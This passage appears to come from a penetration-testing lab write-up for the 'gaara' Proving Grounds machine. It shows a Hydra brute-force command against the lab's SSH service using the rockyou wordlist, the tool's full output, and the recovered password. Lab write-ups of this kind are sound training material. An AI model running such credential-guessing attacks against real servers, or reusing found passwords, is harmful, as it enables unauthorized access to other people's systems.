Brute-Force Attack
The recovered credential did not work against the target SSH server.
However, the recovered credential alone suggests that the gaara user might be a valid system user
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/gaara]
└─$ hydra -l gaara -P /usr/share/wordlists/rockyou.txt ssh://$IP -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-29 17:33:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.239.142:22/
[22][ssh] host: 192.168.239.142 login: gaara password: iloveyou2
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-29 17:34:12The password of the gaara user is iloveyou2
Validating…